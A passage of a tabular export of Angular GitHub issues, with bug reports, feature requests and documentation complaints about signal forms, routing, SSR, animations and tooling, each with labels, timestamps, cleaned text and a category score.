- **Timestamp Converter**: Helpful for working with date/time data in Angular apps
- **YAML ↔ JSON Converter**: Great for converting between configuration formats (angular.json ↔ angular.yaml)
- **API Testing Tool**: Built-in tool for testing REST APIs consumed by Angular applications

Since many Angular developers work with JSON data, APIs, and configuration files daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Angular community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Angular!

Best regards,
AngriL DevTools Team",,2026-02-03 03:40:42+00:00,2026-02-03 04:05:10+00:00,1,nan,0.017,developer tools integration json formatter for angular developers hi angular team i developed a free online developer tools platform called angril devtools that provides essential tools for angular developers json formatter minifier perfect for formatting api responses and configuration files in angular applications base encoder decoder useful for handling image data and encoded strings in angular components timestamp converter helpful for working with date time data in angular apps yaml json converter great for converting between configuration formats angular json angular yaml api testing tool built in tool for testing rest apis consumed by angular applications since many angular developers work with json data apis and configuration files daily these tools could be valuable additions to the developer ecosystem the platform is completely free open to all developers and designed with modern web development workflows in mind i d love to get feedback from the angular community on what additional tools would be most useful or explore any potential collaboration opportunities thanks for your amazing work on angular best regards angril devtools team,others,0.9922
angular/angular,3885791829,Support for signals with validateStandardSchema,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

I currently have a zod schema in a computed signal. So in my case the schema changes  on an input.required signal.
Therefor, the real correct schema is only know after OnInit. The validateStandardSchema is not recalculated when the signal changes. I cannot find any way todo so.

### Proposed solution

The validateStandardSchema should support signals as model. Like:

```
readonly model = computed(() => <returns zod-object>)

readonly form = form(this.model, (schemaPath) => {
   validateStandardSchema(schemaPath, () => this.model())
// or
   validateStandardSchema(schemaPath, () => this.model)
})
````

### Alternatives considered

Running the validateStandardSchema in an effect, or try to run any function on the form in the oninit, to recalculate the validation rules.","area: forms,forms: signals",2026-02-02 12:57:13+00:00,2026-02-06 15:40:49+00:00,2,"area: forms,forms: signals",4.1136,support for signals with validatestandardschema which angular package s are relevant related to the feature request forms description i currently have a zod schema in a computed signal so in my case the schema changes on an input required signal therefor the real correct schema is only know after oninit the validatestandardschema is not recalculated when the signal changes i cannot find any way todo so proposed solution the validatestandardschema should support signals as model like alternatives considered running the validatestandardschema in an effect or try to run any function on the form in the oninit to recalculate the validation rules,help,0.8583
angular/angular,3885646064,Inject migration cannot find tsconfig file,"### Command

generate

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

Error cannot find tsconfig file when running inject migration.

### Minimal Reproduction

I want to migrate my app injections using command `ng generate @angular/core:inject` with all defaults options and I got error that it cannot find the tsconfig but my tsconfig file is at the root folder. How do this command determine the path of the tsconfig?

### Exception or Error

```text
Could not find any tsconfig file. Cannot run the inject migration.
```

### Your Environment

```text
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 24.11.0
Package Manager   : npm 11.4.2
Operating System  : win32 x64

┌───────────────────────────────┬───────────────────┬───────────────────┐
│ Package                       │ Installed Version │ Requested Version │
├───────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/build-angular │ 21.0.4            │ 21.0.4            │
│ @angular/animations           │ 21.0.6            │ 21.0.6            │
│ @angular/build                │ 21.0.4            │ 21.0.4            │
│ @angular/cdk                  │ 21.0.5            │ 21.0.5            │
│ @angular/cli                  │ 21.0.4            │ 21.0.4            │
│ @angular/common               │ 21.0.6            │ 21.0.6          ... [TRUNCATED]","open for contributions,area: migrations,needs: clarification",2026-02-02 12:13:29+00:00,2026-06-12 16:24:46+00:00,9,"open for contributions,area: migrations,needs: clarification",130.1745,inject migration cannot find tsconfig file command generate is this a regression yes this behavior used to work in the previous version the previous version in which this bug was not present was no response description error cannot find tsconfig file when running inject migration i want to migrate my app injections using command with all defaults options and i got error that it cannot find the tsconfig but my tsconfig file is at the root folder how do this command determine the path of the tsconfig exception or error your environment text angular cli angular node js package manager npm win x package installed version requested version angular devkit build angular angular animations angular build angular cdk angular cli angular common truncated,others,-0.1546
angular/angular,3883829712,Content security policy documentation confusion,"### Describe the problem that you experienced

In the [content security policy section](https://angular.dev/best-practices/security#content-security-policy)  of the Angular documentation, you say the following:

<img width=""847"" height=""572"" alt=""Image"" src=""https://github.com/user-attachments/assets/6b2962bc-d2a5-4137-b81a-c4d7fdb98966"" />

You say ""one of two ways"" but then go on to list three ways. Is this a typo, or have I misunderstood the documentation? 

### Enter the URL of the topic with the problem

https://angular.dev/best-practices/security#content-security-policy

### Describe what you were looking for in the documentation
How to implement CSP

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2026-02-02 03:59:41+00:00,2026-02-03 20:27:14+00:00,1,area: docs,1.6858,content security policy documentation confusion describe the problem that you experienced in the content security policy section of the angular documentation you say the following you say one of two ways but then go on to list three ways is this a typo or have i misunderstood the documentation enter the url of the topic with the problem describe what you were looking for in the documentation how to implement csp describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9746
angular/angular,3881863382,error message not show when use applyEach for form array,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

```
export interface MenuData {
	menuName: string;
	packages: {
		packageName: string;
		quota: number;
		prices: {
			priceValue: number;
		}[];
	}[];
}

formModel = signal<MenuData>({
		menuName: '',
		packages: [],
	});

	formData = form(this.formModel, (schemaPath) => {
		required(schemaPath.menuName, { message: 'Menu name is required' });
		applyEach(
			schemaPath.packages,
			(
				item: SchemaPathTree<{
					packageName: string;
					quota: number;
					prices: {
						priceValue: number;
					}[];
				}>,
			) => {
				required(item.packageName, { message: 'Package Name is required' });
				required(item.quota, { message: 'Quota is required' });
				applyEach(
					item.prices,
					(
						item: SchemaPathTree<{
							priceValue: number;
						}>,
					) => {
						required(item.priceValue, { message: 'Price value is required' });
					},
				);
			},
		);
	});

@if (field.control().touched() && field.control().invalid()) {
	@for (error of field.control().errors(); track error.kind) {
		<mat-error>{{ error.message }}</mat-error>
	}
}
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
I have a problem with form validation if using applyEach for the form array.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular ... [TRUNCATED]","needs reproduction,area: forms,forms: signals",2026-02-01 11:34:39+00:00,2026-02-01 14:54:05+00:00,3,"needs reproduction,area: forms,forms: signals",0.1385,error message not show when use applyeach for form array which angular package s are the source of the bug forms is this a regression yes description please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular truncated,bug,-0.7003
angular/angular,3878362660,"No way to pass the ""--update"" flag to the vitest runner?","### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

No

### Description

I have updated my repo to use the vitest runner, in doing so I also introduced visual regression tests (https://vitest.dev/guide/browser/visual-regression-testing.html#visual-regression-testing).

When the screenshot goldens change vitest lets you update the goldens by using the `--update` flag: https://vitest.dev/guide/browser/visual-regression-testing.html#updating-references

But there doesn't seem to be a way to do this with the Angular CLI, am I missing something or is there no way yet pass this flag?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.2            │ ^21.1.2           │
│ @angular/build                    │ 21.1.2            │ ^21.1.2           │
│ @angular/cdk                      │ 21.1.2            │ ^21.1.2           │
│ @angular/cli                      │ 21.1.2            │ ^21.1.2           │
│ @angular/common                   │ 21.1.2            │ ^21.1.2           │
│ @angu... [TRUNCATED]",,2026-01-31 04:42:07+00:00,2026-01-31 11:57:47+00:00,2,nan,0.3025,no way to pass the update flag to the vitest runner which angular package s are the source of the bug compiler cli is this a regression no description i have updated my repo to use the vitest runner in doing so i also introduced visual regression tests when the screenshot goldens change vitest lets you update the goldens by using the flag but there doesn t seem to be a way to do this with the angular cli am i missing something or is there no way yet pass this flag please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true package installed version requested version angular animations angular build angular cdk angular cli angular common angu truncated,others,-0.9011
angular/angular,3877180923,Export DirectiveWithBindings from @angular/core,"### Which @angular/* package(s) are relevant/related to the feature request?

@angular/core

### Description

Currently, I have to infer the type by using NonNullable<Parameters<ViewContainerRef[""createComponent""]>[5]>.

It would be much cleaner if DirectiveWithBindings is exported so that it can be used when building an array for directives with bindings with viewContainerRef.createComponent.

### Proposed solution

Export DirectiveWithBindings from @angular/core.

### Alternatives considered

I am currently using the type NonNullable<Parameters<ViewContainerRef[""createComponent""]>[5]>.","area: core,state: has PR",2026-01-30 20:04:11+00:00,2026-02-02 19:08:44+00:00,4,"area: core,state: has PR",2.9615,export directivewithbindings from angular core which angular package s are relevant related to the feature request angular core description currently i have to infer the type by using nonnullable it would be much cleaner if directivewithbindings is exported so that it can be used when building an array for directives with bindings with viewcontainerref createcomponent proposed solution export directivewithbindings from angular core alternatives considered i am currently using the type nonnullable,others,0.4588
angular/angular,3875931164,Signal Forms errors input wrong typing,"### Describe the problem that you experienced

In the Custom Forms documentation, the `errors` input type does not match the [API](https://angular.dev/api/forms/signals/FormValueControl):

```ts
errors = input<readonly ValidationError.WithField[]>([]);
```

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/custom-controls#adding-state-signals

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Change the code snippet into:

```ts
errors = input<readonly WithOptionalField<ValidationError>[]>([]);
```

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true
Easy opportunity to get started with contributions if you want to make a PR :)
```","area: forms,forms: signals",2026-01-30 14:20:34+00:00,2026-02-17 22:36:02+00:00,2,"area: forms,forms: signals",18.3441,signal forms errors input wrong typing describe the problem that you experienced in the custom forms documentation the input type does not match the api enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem change the code snippet into add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,bug,-0.9682
angular/angular,3875639407,Angular Versioning / Proposal to Extend Angular Major Release Frequency,"### Which @angular/* package(s) are relevant/related to the feature request?

upgrade

### Description

**Dear Angular Developers,**

We believe that Angular’s major release frequency should be extended from six months to twelve months.

This suggestion is not driven by reluctance to update applications regularly. Rather, based on our experience, the current six-month major release cycle can be challenging for many teams—especially small teams or those primarily focused on delivering new features—to keep up with consistently.

Our goal is to continue running our applications on the latest Angular APIs and to avoid falling behind on updates. However, the rapid pace of major releases makes this difficult in practice. We believe many developers share this concern.

Extending the major release cycle while placing greater emphasis on bug fixes and patches would be a wise and balanced approach. Notably, many organizations are still maintaining applications built on legacy versions of Angular, which highlights the challenges of frequent major upgrades.

We therefore propose shifting to a 12-month major release cycle, similar to the approach taken by other major frameworks, while increasing focus on stability, bug fixes, and patches between releases.

Thank you very much for considering this perspective.
- Mohssine Khaloufi


### Proposed solution

Extend Angular’s major release frequency from 6 months to 12 months, while maintaining the current cadence for minor releases, bug fixes,... [TRUNCATED]",,2026-01-30 13:10:31+00:00,2026-02-01 18:29:22+00:00,7,nan,2.2214,angular versioning proposal to extend angular major release frequency which angular package s are relevant related to the feature request upgrade description dear angular developers we believe that angular s major release frequency should be extended from six months to twelve months this suggestion is not driven by reluctance to update applications regularly rather based on our experience the current six month major release cycle can be challenging for many teams especially small teams or those primarily focused on delivering new features to keep up with consistently our goal is to continue running our applications on the latest angular apis and to avoid falling behind on updates however the rapid pace of major releases makes this difficult in practice we believe many developers share this concern extending the major release cycle while placing greater emphasis on bug fixes and patches would be a wise and balanced approach notably many organizations are still maintaining applications built on legacy versions of angular which highlights the challenges of frequent major upgrades we therefore propose shifting to a month major release cycle similar to the approach taken by other major frameworks while increasing focus on stability bug fixes and patches between releases thank you very much for considering this perspective mohssine khaloufi proposed solution extend angular s major release frequency from months to months while maintaining the current cadence for minor releases bug fixes truncated,feature,0.7551
angular/angular,3872014810,Tutorial error,"### Describe the problem that you experienced

The simpel tutorial ended with error when i navigated to second page

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","needs: clarification,area: docs-infra",2026-01-29 18:26:14+00:00,2026-02-03 16:58:53+00:00,3,"needs: clarification,area: docs-infra",4.9393,tutorial error describe the problem that you experienced the simpel tutorial ended with error when i navigated to second page enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,bug,-0.9774
angular/angular,3871804707,httpResource.arrayBuffer causes [Object object] error with SSR,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

When using httpResource.arrayBuffer and have SSR enabled the arraybuffer is not copied correctly and the client is hydrated initially with an arraybuffer with length of 15 - `[Object object]` is what is returned when doing TextDecoder().Decode

<img width=""2000"" height=""691"" alt=""Image"" src=""https://github.com/user-attachments/assets/0ffb4bfc-cbe0-439e-b00b-c21e0c59764c"" />

the httpResource parse method is initially invoked with this 15 byte arraybuffer which can cause errors with custom parsers

This problem can be 'solved'  be setting `transferCache` to false but you are now making 2 requests, 1 server - 1 client. it's also less ideal as data may have changed between those 2 requests occurring.

### Please provide a link to a minimal reproduction of the bug

https://github.com/henrikse55/angular-httpresource-ssr

### Please provide the exception or error you saw

```true
None, it's completely silent and possibly breaks custom parse logic
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 20.19.5
Package Manager   : yarn 1.22.22
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────... [TRUNCATED]","area: server,area: common/http",2026-01-29 17:28:07+00:00,2026-02-09 20:32:15+00:00,2,"area: server,area: common/http",11.1279,httpresource arraybuffer causes object object error with ssr which angular package s are the source of the bug common is this a regression no description when using httpresource arraybuffer and have ssr enabled the arraybuffer is not copied correctly and the client is hydrated initially with an arraybuffer with length of is what is returned when doing textdecoder decode the httpresource parse method is initially invoked with this byte arraybuffer which can cause errors with custom parsers this problem can be solved be setting to false but you are now making requests server client it s also less ideal as data may have changed between those requests occurring please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager yarn linux x package installed version requested version truncated,bug,-0.2737
angular/angular,3870985797,@let loses context when parent directives renders child view,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When we have a template like this: 

```angular-html
    @let someVar = name;
    <div theRenderer>
      Rendering: 
      <ng-template renderLate>
        @if (someVar) {
          <h1>Hello from {{ someVar }}!</h1>
        }
      </ng-template>
    </div>
```

When we try to synchronously render the ng-template from theRenderer we get error: ""'Error: NG0314: Attempting to access a @let declaration whose value is not available yet"". 

Moving the rendering inside an effect works fine though. 

Added a repro link below. 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-em375mwz?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 20.3.7
```

### Anything else?

_No response_",area: core,2026-01-29 14:27:20+00:00,2026-01-29 15:41:31+00:00,4,area: core,0.0515,let loses context when parent directives renders child view which angular package s are the source of the bug core is this a regression no description when we have a template like this when we try to synchronously render the ng template from therenderer we get error error ng attempting to access a let declaration whose value is not available yet moving the rendering inside an effect works fine though added a repro link below please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9022
angular/angular,3870908285,Aside menu on right is very small,"### Describe the problem that you experienced

I was wondering if it would be possible to extend or widen the right-hand menu (aside). It feels quite narrow, and the truncated text makes navigation a bit annoying. It looks like there’s enough space to allow for a wider layout.

<img width=""2538"" height=""1229"" alt=""Image"" src=""https://github.com/user-attachments/assets/11001bf1-c30e-4d04-9cfd-cf06b4c0971f"" />

### Enter the URL of the topic with the problem

https://angular.dev/style-guide

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-01-29 14:10:37+00:00,2026-01-29 20:24:02+00:00,5,"open for contributions,area: docs-infra",0.2593,aside menu on right is very small describe the problem that you experienced i was wondering if it would be possible to extend or widen the right hand menu aside it feels quite narrow and the truncated text makes navigation a bit annoying it looks like there s enough space to allow for a wider layout enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9201
angular/angular,3870820876,"forms/signals: why a ""form"" is ""invalid()"" but with no ""errors()""","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

See this example

```ts
import { Component, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { form, FormField, email } from '@angular/forms/signals';

@Component({
  selector: 'app-root',
  imports: [FormField],
  template: `
    <input [formField]=""userForm.email"" />
    <p>invalid: {{ userForm().invalid() }}</p>
    @for(error of userForm().errors(); track $index ){
      <ul>
        <li>{{ error.message }}</li>
      </ul>
    } @empty {
      <p>NO ERROR</p>
    }
  `,
})
export class App {
  protected readonly user = signal({ email: 'foo' });
  protected readonly userForm = form(this.user, (schemaPath) => {
    email(schemaPath.email, {
      message: 'Invalid email',
    });
  });
}

bootstrapApplication(App);
```

The output: 

```
foo
invalid: true
NO ERROR
```

the expected output is
```
foo
invalid: true
Invalid email
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-veekyw2p

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 21.1.2
```",,2026-01-29 13:54:26+00:00,2026-01-29 14:03:52+00:00,3,nan,0.0066,forms signals why a form is invalid but with no errors which angular package s are the source of the bug forms is this a regression no description see this example the output the expected output is please provide a link to a of the bug please provide the environment you discovered this bug in run,bug,-0.9413
angular/angular,3869294102,syntax highlighting issue with some tailwind class bindings,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

add following snippet in angular template:

```html
@let mode = 'pre';
<div
  class=""relative z-2 flex min-h-screen flex-col items-center gap-4""
  [class.min-h-[calc(100vh-var(--header-height))]]=""mode !== 'pre'""
></div>
```
in this snippet it won't highlight expression (_mode !== 'pre'_) correctly 

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

It should highlight correctly with any class name. I think brackets inside class name are breaking the highlight logic.

### Please provide a screenshot if possible [Bug Report only]

_No response_
",area: language-service,2026-01-29 07:42:00+00:00,2026-02-04 23:45:06+00:00,1,area: language-service,6.6688,syntax highlighting issue with some tailwind class bindings x bug report feature request please provide the the issue bug report only add following snippet in angular template in this snippet it won t highlight expression mode pre correctly please provide the vs the you encountered bug report only it should highlight correctly with any class name i think brackets inside class name are breaking the highlight logic please provide a screenshot if possible bug report only no response,bug,0.3818
angular/angular,3867285742,Support `browserUrl` from `NavigationBehaviorOptions` in `RouterLink`,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

[`NavigationBehaviorOptions`](https://angular.dev/api/router/NavigationBehaviorOptions) had `browserUrl` added [here](https://github.com/angular/angular/commit/1d3a7529b4fa3617a5d6a97e742cb13818253a14) in #53318 which is a useful feature for controlling the URL experience a user has.  It would be nice if this same option was forwarded to the [`RouterLink` directive](https://angular.dev/api/router/RouterLink) which already supports a subset of the `NavigationBehaviorOptions`.

### Proposed solution

Provide a new input for `browserUrl` that is provided to [the extras](https://github.com/angular/angular/blob/main/packages/router/src/directives/router_link.ts#L493) used when calling `router.navigateByUrl` via the `RouterLink` directive.

### Alternatives considered

- A custom `(click)` handler calling `router.navigateByUrl`
  - This negates the utility provided by the `RouterLink` in the first place.
- Duplicate routes matching the desired browser URLs and use `skipLocationChange` or `replaceUrl`
  - Duplicating route definitions feels like a hack rather than a solution to this problem.","open for contributions,area: router",2026-01-28 20:32:26+00:00,2026-02-26 15:14:37+00:00,8,"open for contributions,area: router",28.7793,support from in which angular package s are relevant related to the feature request router description had added here in which is a useful feature for controlling the url experience a user has it would be nice if this same option was forwarded to the directive which already supports a subset of the proposed solution provide a new input for that is provided to the extras used when calling via the directive alternatives considered a custom handler calling this negates the utility provided by the in the first place duplicate routes matching the desired browser urls and use or duplicating route definitions feels like a hack rather than a solution to this problem,help,0.9371
angular/angular,3866268203,AsyncValidatorFn documentation show incorrect return type,"### Describe the problem that you experienced




On the Angular.dev documentation page for [`AsyncValidatorFn`](https://angular.dev/api/forms/AsyncValidatorFn), the interface is currently displayed as:

```ts
interface AsyncValidatorFn 
{
  (control: AbstractControl<any, any, any>): any;
}
```


This is misleading as the official Angular source code defines  [`AsyncValidatorFn`](https://github.com/angular/angular/blob/main/packages/forms/src/directives/validators.ts#L529-L533) as:
```ts
export interface AsyncValidatorFn {
  (
    control: AbstractControl,
  ): Promise<ValidationErrors | null> | Observable<ValidationErrors | null>;
}
```



### Enter the URL of the topic with the problem

https://angular.dev/api/forms/AsyncValidatorFn

### Describe what you were looking for in the documentation

I was reviewing the AsyncValidatorFn docs to understand how to implement custom async validators. 
While learning, I noticed the return type was shown as `any`, which confused me, when I compared it to the GitHub source and VS Code IntelliSense.


### Describe the actions that led you to experience the problem

No specific actions . this is a documentation only error. I was reviewing the AsyncValidatorFn docs for learning purpose and noticed the return type mismatch.

### Describe what you want to experience that would fix the problem

Update the documentation to reflect the correct return type  to
```ts 
(Promise<ValidationErrors | null> | Observable<ValidationErrors | null>)
```
ins... [TRUNCATED]",area: docs-infra,2026-01-28 16:26:37+00:00,2026-02-03 20:31:38+00:00,1,area: docs-infra,6.1702,asyncvalidatorfn documentation show incorrect return type describe the problem that you experienced on the angular dev documentation page for the interface is currently displayed as this is misleading as the official angular source code defines as enter the url of the topic with the problem describe what you were looking for in the documentation i was reviewing the asyncvalidatorfn docs to understand how to implement custom async validators while learning i noticed the return type was shown as which confused me when i compared it to the github source and vs code intellisense describe the actions that led you to experience the problem no specific actions this is a documentation only error i was reviewing the asyncvalidatorfn docs for learning purpose and noticed the return type mismatch describe what you want to experience that would fix the problem update the documentation to reflect the correct return type to ins truncated,documentation,-0.9451
angular/angular,3866182274,Service worker - customize ngsw/state url,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hi!
I would like to have the ability to customize the URL for ngsw/state, so that I can hide the logs from the user.


### Proposed solution

-

### Alternatives considered

-",,2026-01-28 16:06:52+00:00,2026-01-28 16:11:32+00:00,2,nan,0.0032,service worker customize ngsw state url which angular package s are relevant related to the feature request no response description hi i would like to have the ability to customize the url for ngsw state so that i can hide the logs from the user proposed solution alternatives considered,others,0.4472
angular/angular,3865974848,Docs: Deprecated `ComponentFactoryResolver` and Angular Elements,"### Describe the problem that you experienced

I see the doc for `ComponentFactoryResolver` mentioned that it is **deprecated** https://angular.dev/api/core/ComponentFactoryResolver

I had a bit confusion about this when it comes to Angular Elements. When using `createCustomElement` API, the `NgElementConfig` doc says that `injector` to retrieve component factory https://angular.dev/api/elements/NgElementConfig#api

It looks to me like Angular Elements still needs `ComponentFactoryResolver` to do the work?

### Enter the URL of the topic with the problem

https://angular.dev/api/core/ComponentFactoryResolver
https://angular.dev/api/elements/NgElementConfig#api

### Describe what you were looking for in the documentation

Will `ComponentFactoryResolver` be removed completely later or it becomes an internal API for Angular Elements to use?

### Describe the actions that led you to experience the problem

I tested Angular Elements in a bit strange way
```
const PopupElement = createCustomElement(MyComponent, {
    injector: Injector.create({
      providers: []
    })
  });
customElements.define('popup-element', PopupElement);
```

because I wanted to try out whether `createApplication` is needed to work with Angular Elements. 

Lit Element doesn't need that `createApplication`

### Describe what you want to experience that would fix the problem

I don't know how to update the docs in such a way that it prevents this situation of understanding.

### Add a screenshot if that help... [TRUNCATED]",area: elements,2026-01-28 15:22:28+00:00,2026-04-29 21:30:06+00:00,1,area: elements,91.2553,docs deprecated and angular elements describe the problem that you experienced i see the doc for mentioned that it is deprecated i had a bit confusion about this when it comes to angular elements when using api the doc says that to retrieve component factory it looks to me like angular elements still needs to do the work enter the url of the topic with the problem describe what you were looking for in the documentation will be removed completely later or it becomes an internal api for angular elements to use describe the actions that led you to experience the problem i tested angular elements in a bit strange way because i wanted to try out whether is needed to work with angular elements lit element doesn t need that describe what you want to experience that would fix the problem i don t know how to update the docs in such a way that it prevents this situation of understanding add a screenshot if that help truncated,documentation,-0.6705
angular/angular,3865731075,Signal Forms: Using `@for(userForm of valueForm.users; track userForm.id().value())` causes runtime error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I discovered this while trying to find a good solution how to edit a list of users with signal forms, which actually does not sound complicated, but it seems that there are things to consider I might not yet be aware of. Please see https://stackoverflow.com/questions/79878016/angular-21-signal-forms-how-to-loop-over-an-array-of-complex-sub-objects for the whole story.

In the 3rd example I described there, I tried to add a `id` to each user and use this for tracking in the loop like this. ([StackBlitz Example 3](https://stackblitz.com/edit/stackblitz-starters-3r7vqbdb?file=src%2Fmain.ts,src%2Fuser-edit.component.ts))


```typescript
interface User { id: number; name?: string; }
interface UserForm { id: number; name: string; }
interface Test { test: string; users: User[]; }

let userCounter = 0;
function createUser(name?: string): User { return { id: ++userCounter, name }; }

@Component({
  selector: 'user-edit',
  template: `<div>Name: <input type=""text"" [formField]=""valueForm.name""/></div>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [FormField],
})
export class UserEditComponent implements FormValueControl<User | null> {
  public readonly value = model<User | null>(null);
  protected readonly valueForm = mappedForm<User | null, UserForm>(this.value, {
    modelToForm: (user) => {
      user ??= createUser('new user');
      return { id: user.... [TRUNCATED]","area: forms,forms: signals",2026-01-28 14:28:45+00:00,2026-01-30 20:03:12+00:00,16,"area: forms,forms: signals",2.2323,signal forms using causes runtime error which angular package s are the source of the bug forms is this a regression no description i discovered this while trying to find a good solution how to edit a list of users with signal forms which actually does not sound complicated but it seems that there are things to consider i might not yet be aware of please see for the whole story in the rd example i described there i tried to add a to each user and use this for tracking in the loop like this stackblitz example typescript interface user id number name string interface userform id number name string interface test test string users user let usercounter function createuser name string user return id usercounter name component selector user edit template changedetection changedetectionstrategy onpush imports formfield export class usereditcomponent implements formvaluecontrol public readonly value model null protected readonly valueform mappedform this value modeltoform user user createuser new user return id user truncated,bug,0.9446
angular/angular,3865624015,Dynamic component + animate.leave leaves orphaned DOM nodes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using a dynamically inserted component and a leave animation, when triggering the element to show and hide quickly, the element can be retained and duplicated in the DOM 

In the linked stackblitz if you click the trigger button repeatedly, you'll see multiple versions of the menu component being retained in the DOM

<img width=""1352"" height=""656"" alt=""Image"" src=""https://github.com/user-attachments/assets/fa1774f9-bba7-4abf-a70d-4bd95650ae54"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/kucxgmx5-6a2vvycd?file=src%2Fexample%2Fcdk-menu-standalone-menu-example.css,src%2Fexample%2Fcdk-menu-standalone-menu-example.html&startScript=start

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.1
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌─────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                         │ Installed Version │ Requested Version │
├─────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build                  │ 21.1.2            │ ^21.0.0           │
│ @angular/cdk                    │ 21.1.1            │ ^21.0.0           │
│ @angula... [TRUNCATED]","area: core,state: has PR,core: animations",2026-01-28 14:04:40+00:00,2026-01-29 20:18:03+00:00,9,"area: core,state: has PR,core: animations",1.2593,dynamic component animate leave leaves orphaned dom nodes which angular package s are the source of the bug core is this a regression no description when using a dynamically inserted component and a leave animation when triggering the element to show and hide quickly the element can be retained and duplicated in the dom in the linked stackblitz if you click the trigger button repeatedly you ll see multiple versions of the menu component being retained in the dom please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cdk angula truncated,others,-0.3182
angular/angular,3864587775,Cannot test components with external templates using Vitest,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When i want to test component with external template and styles with Vitest in angular project it throws error:
